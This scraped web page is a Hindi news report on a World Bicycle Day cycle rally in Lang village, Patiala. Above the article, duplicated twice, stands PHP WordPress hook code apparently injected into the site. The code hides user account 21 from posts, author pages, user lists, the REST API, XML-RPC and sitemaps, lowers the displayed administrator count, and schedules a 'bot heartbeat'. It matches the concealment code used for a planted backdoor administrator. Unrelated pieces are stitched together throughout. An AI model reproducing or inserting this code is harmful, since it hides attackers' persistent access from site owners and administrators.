add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
स्वास्थ्य एवं कल्याण केंद्र गांव लांग में मनाया गया विश्व साइकिल दिवस - Press Ki Taquat
No Result
View All Result
पटियाला, 03-06-2023 (प्रेस की ताकत)- डायरैक्टर स्वास्थ्य एवं परिवार कल्याण पंजाब से प्राप्त दिशा-निर्देशों के अनुसार स्वास्थ्य एवं तंदुरूस्ती केन्द्रों में शारीरिक एवं मानसिक स्वास्थ्य बनाये रखने के लिए विश्व साइकिल दिवस मनाने के लिए जिला स्वास्थ्य विभाग द्वारा विश्व साइकिल दिवस का आयोजन हैल्थ एण्ड वेलनेस सेंटर गांव लंग में किया गया, जहां से सिविल सर्जन डॉ. रमिंदर कौर ने लोगों में साइकिल चलाने का संदेश फैलाने के लिए साइकिल रैली को झंडी दिखाकर रवाना किया।
इस मौके पर उनके साथ वरिष्ठ चिकित्सा अधिकारी डॉ. पीएचसी कौली थे। गुरप्रीत सिंह नागरा, जिला जनसंपर्क अधिकारी कृष्ण कुमार, चिकित्सा अधिकारी डा. मिनी सिंगला, ग्राम सरपंच गुरमीत सिंह, उपाध्यक्ष सहकारिता एस. मेवा सिंह, फार्मासिस्ट मीनाक्षी, सीएचओ हनी कुमार, एएनएम। जसबीर, आशा सहायिका, आशा व ग्राम गणमान्य व्यक्ति भी उपस्थित थे।
सभा को संबोधित करते हुए सिविल सर्जन डॉ. रमिंदर कौर ने कहा कि इस दिवस को मनाने का मुख्य उद्देश्य समाज के सभी लोगों को साइकिल चलाने के लिए प्रोत्साहित करना है ताकि समाज के लोग बीमारियों से दूर रहकर स्वस्थ जीवन जी सकें और शिक्षा और समाज के विकास में महत्वपूर्ण योगदान देता है।
उन्होंने कहा कि साइकिल चलाने से उच्च रक्तचाप, कैंसर, मधुमेह, हृदय रोग आदि गैर संचारी रोगों का खतरा कम होता है और मानसिक स्वास्थ्य भी अच्छा रहता है। पर्यावरण भी प्रदूषण से बचाता है।
उन्होंने कहा कि देश में 63 फीसदी मौतें गैर संचारी रोगों जैसे मधुमेह, कैंसर, हृदय रोग, सांस की बीमारियों आदि के कारण होती हैं। उन्होंने कहा कि जीवनशैली में बदलाव कर बीमारियों से काफी हद तक बचा जा सकता है। इस मौके पर बच्चों की पेंटिंग प्रतियोगिता भी आयोजित की गई और बेहतरीन पेंटिंग बनाने वाले बच्चों को पुरस्कृत भी किया गया।
Post Views: 367
No Result
View All Result